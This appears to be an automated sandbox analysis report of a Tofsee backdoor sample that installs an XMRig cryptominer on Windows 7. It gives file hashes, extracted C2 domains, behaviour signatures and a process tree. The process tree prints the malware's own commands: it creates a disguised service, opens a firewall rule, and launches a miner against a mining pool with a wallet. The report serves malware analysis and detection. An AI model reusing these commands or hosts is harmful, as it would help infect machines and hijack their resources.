Analysis

  • max time kernel
    153s
  • max time network
    156s
  • platform
    windows7_x64
  • resource
    win7-20231020-en
  • resource tags

    arch:x64arch:x86image:win7-20231020-enlocale:en-usos:windows7-x64system
  • submitted
    05/11/2023, 17:32

General

  • Target

    file.exe

  • Size

    254KB

  • MD5

    03b34511e2b93c772e8effc9f6ee7a88

  • SHA1

    cd0498093ce14b3c41b98b82d27e02906e756de8

  • SHA256

    4470acf5c0eef39191bafcdc34243ed0dc02d72f99ac148987b1eefdbd198adf

  • SHA512

    9acfe12a79febc08ed710b917daf18c066048b742c943a8137225320716cd289f39cf2f30c02424a2746675869156183671953b3aa9fc0a8a96004d1ed115cf4

  • SSDEEP

    3072:XFRLY++OCLyi6Q0YCJNspaJkGQq94IXkihxd79nD6zBgwoq5Xa2lVEf:VRLY+lCLyiWY27JkBq9Dhn72gCaGI

Malware Config

Extracted

Family

tofsee

C2

vanaheim.cn

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 7 IoCs
  • Creates new service(s) 1 TTPs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2320
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\brnjfdgx\
      2⤵
        PID:2116
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\mtsfnnvz.exe" C:\Windows\SysWOW64\brnjfdgx\
        2⤵
          PID:2708
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create brnjfdgx binPath= "C:\Windows\SysWOW64\brnjfdgx\mtsfnnvz.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:2724
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description brnjfdgx "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:2588
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start brnjfdgx
          2⤵
          • Launches sc.exe
          PID:2696
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:3016
      • C:\Windows\SysWOW64\brnjfdgx\mtsfnnvz.exe
        C:\Windows\SysWOW64\brnjfdgx\mtsfnnvz.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:2632
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:2644
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.200000 -p x -k -a cn/half --cpu-priority 1
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1980

      Network

            MITRE ATT&CK Enterprise v15

            Replay Monitor

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            Downloads

            • C:\Users\Admin\AppData\Local\Temp\mtsfnnvz.exe

              Filesize

              13.0MB

              MD5

              1e3b5aba10459ed3a6befef3a5d60020

              SHA1

              2227aab365b782e3cfe2fe3a7719131e2e688494

              SHA256

              93ee79536cf1a8b7590222bfd952e790e3db57e0ada2e0b6aaa04c30b33e9330

              SHA512

              760aae9634279fea9c03dd14e2d462acd4da95e79067732bf6f31c391fa39ff1aa125d330e1401e5333c2eaa888e5e949d1533f70e75b04cd955ff86f2794e7a

            • C:\Windows\SysWOW64\brnjfdgx\mtsfnnvz.exe

              Filesize

              13.0MB

              MD5

              1e3b5aba10459ed3a6befef3a5d60020

              SHA1

              2227aab365b782e3cfe2fe3a7719131e2e688494

              SHA256

              93ee79536cf1a8b7590222bfd952e790e3db57e0ada2e0b6aaa04c30b33e9330

              SHA512

              760aae9634279fea9c03dd14e2d462acd4da95e79067732bf6f31c391fa39ff1aa125d330e1401e5333c2eaa888e5e949d1533f70e75b04cd955ff86f2794e7a

            • memory/1980-79-0x00000000001E0000-0x00000000002D1000-memory.dmp

              Filesize

              964KB

            • memory/1980-64-0x00000000001E0000-0x00000000002D1000-memory.dmp

              Filesize

              964KB

            • memory/1980-66-0x00000000001E0000-0x00000000002D1000-memory.dmp

              Filesize

              964KB

            • memory/1980-75-0x00000000001E0000-0x00000000002D1000-memory.dmp

              Filesize

              964KB

            • memory/1980-74-0x00000000001E0000-0x00000000002D1000-memory.dmp

              Filesize

              964KB

            • memory/1980-76-0x00000000001E0000-0x00000000002D1000-memory.dmp

              Filesize

              964KB

            • memory/1980-77-0x00000000001E0000-0x00000000002D1000-memory.dmp

              Filesize

              964KB

            • memory/1980-78-0x00000000001E0000-0x00000000002D1000-memory.dmp

              Filesize

              964KB

            • memory/2320-8-0x00000000005A0000-0x00000000006A0000-memory.dmp

              Filesize

              1024KB

            • memory/2320-6-0x0000000000400000-0x00000000004F4000-memory.dmp

              Filesize

              976KB

            • memory/2320-7-0x0000000000220000-0x0000000000233000-memory.dmp

              Filesize

              76KB

            • memory/2320-1-0x00000000005A0000-0x00000000006A0000-memory.dmp

              Filesize

              1024KB

            • memory/2320-3-0x0000000000400000-0x00000000004F4000-memory.dmp

              Filesize

              976KB

            • memory/2320-2-0x0000000000220000-0x0000000000233000-memory.dmp

              Filesize

              76KB

            • memory/2632-12-0x0000000000400000-0x00000000004F4000-memory.dmp

              Filesize

              976KB

            • memory/2632-11-0x0000000000670000-0x0000000000770000-memory.dmp

              Filesize

              1024KB

            • memory/2632-17-0x0000000000400000-0x00000000004F4000-memory.dmp

              Filesize

              976KB

            • memory/2644-38-0x0000000000160000-0x0000000000170000-memory.dmp

              Filesize

              64KB

            • memory/2644-48-0x0000000000160000-0x0000000000170000-memory.dmp

              Filesize

              64KB

            • memory/2644-35-0x0000000000160000-0x0000000000170000-memory.dmp

              Filesize

              64KB

            • memory/2644-36-0x0000000000160000-0x0000000000170000-memory.dmp

              Filesize

              64KB

            • memory/2644-37-0x0000000000160000-0x0000000000170000-memory.dmp

              Filesize

              64KB

            • memory/2644-29-0x0000000000150000-0x0000000000156000-memory.dmp

              Filesize

              24KB

            • memory/2644-39-0x0000000000160000-0x0000000000170000-memory.dmp

              Filesize

              64KB

            • memory/2644-40-0x0000000000160000-0x0000000000170000-memory.dmp

              Filesize

              64KB

            • memory/2644-41-0x0000000000160000-0x0000000000170000-memory.dmp

              Filesize

              64KB

            • memory/2644-42-0x0000000000160000-0x0000000000170000-memory.dmp

              Filesize

              64KB

            • memory/2644-43-0x0000000000160000-0x0000000000170000-memory.dmp

              Filesize

              64KB

            • memory/2644-44-0x0000000000160000-0x0000000000170000-memory.dmp

              Filesize

              64KB

            • memory/2644-45-0x0000000000160000-0x0000000000170000-memory.dmp

              Filesize

              64KB

            • memory/2644-46-0x0000000000160000-0x0000000000170000-memory.dmp

              Filesize

              64KB

            • memory/2644-47-0x0000000000160000-0x0000000000170000-memory.dmp

              Filesize

              64KB

            • memory/2644-32-0x0000000000160000-0x0000000000170000-memory.dmp

              Filesize

              64KB

            • memory/2644-49-0x0000000000160000-0x0000000000170000-memory.dmp

              Filesize

              64KB

            • memory/2644-50-0x0000000000160000-0x0000000000170000-memory.dmp

              Filesize

              64KB

            • memory/2644-51-0x0000000000160000-0x0000000000170000-memory.dmp

              Filesize

              64KB

            • memory/2644-52-0x0000000000170000-0x0000000000175000-memory.dmp

              Filesize

              20KB

            • memory/2644-55-0x0000000000170000-0x0000000000175000-memory.dmp

              Filesize

              20KB

            • memory/2644-56-0x0000000005600000-0x0000000005A0B000-memory.dmp

              Filesize

              4.0MB

            • memory/2644-59-0x0000000005600000-0x0000000005A0B000-memory.dmp

              Filesize

              4.0MB

            • memory/2644-60-0x0000000000180000-0x0000000000187000-memory.dmp

              Filesize

              28KB

            • memory/2644-28-0x00000000018C0000-0x0000000001ACF000-memory.dmp

              Filesize

              2.1MB

            • memory/2644-25-0x00000000018C0000-0x0000000001ACF000-memory.dmp

              Filesize

              2.1MB

            • memory/2644-24-0x00000000000C0000-0x00000000000D5000-memory.dmp

              Filesize

              84KB

            • memory/2644-22-0x00000000000C0000-0x00000000000D5000-memory.dmp

              Filesize

              84KB

            • memory/2644-21-0x00000000000C0000-0x00000000000D5000-memory.dmp

              Filesize

              84KB

            • memory/2644-16-0x00000000000C0000-0x00000000000D5000-memory.dmp

              Filesize

              84KB

            • memory/2644-13-0x00000000000C0000-0x00000000000D5000-memory.dmp

              Filesize

              84KB

            • memory/2644-14-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

              Filesize

              4KB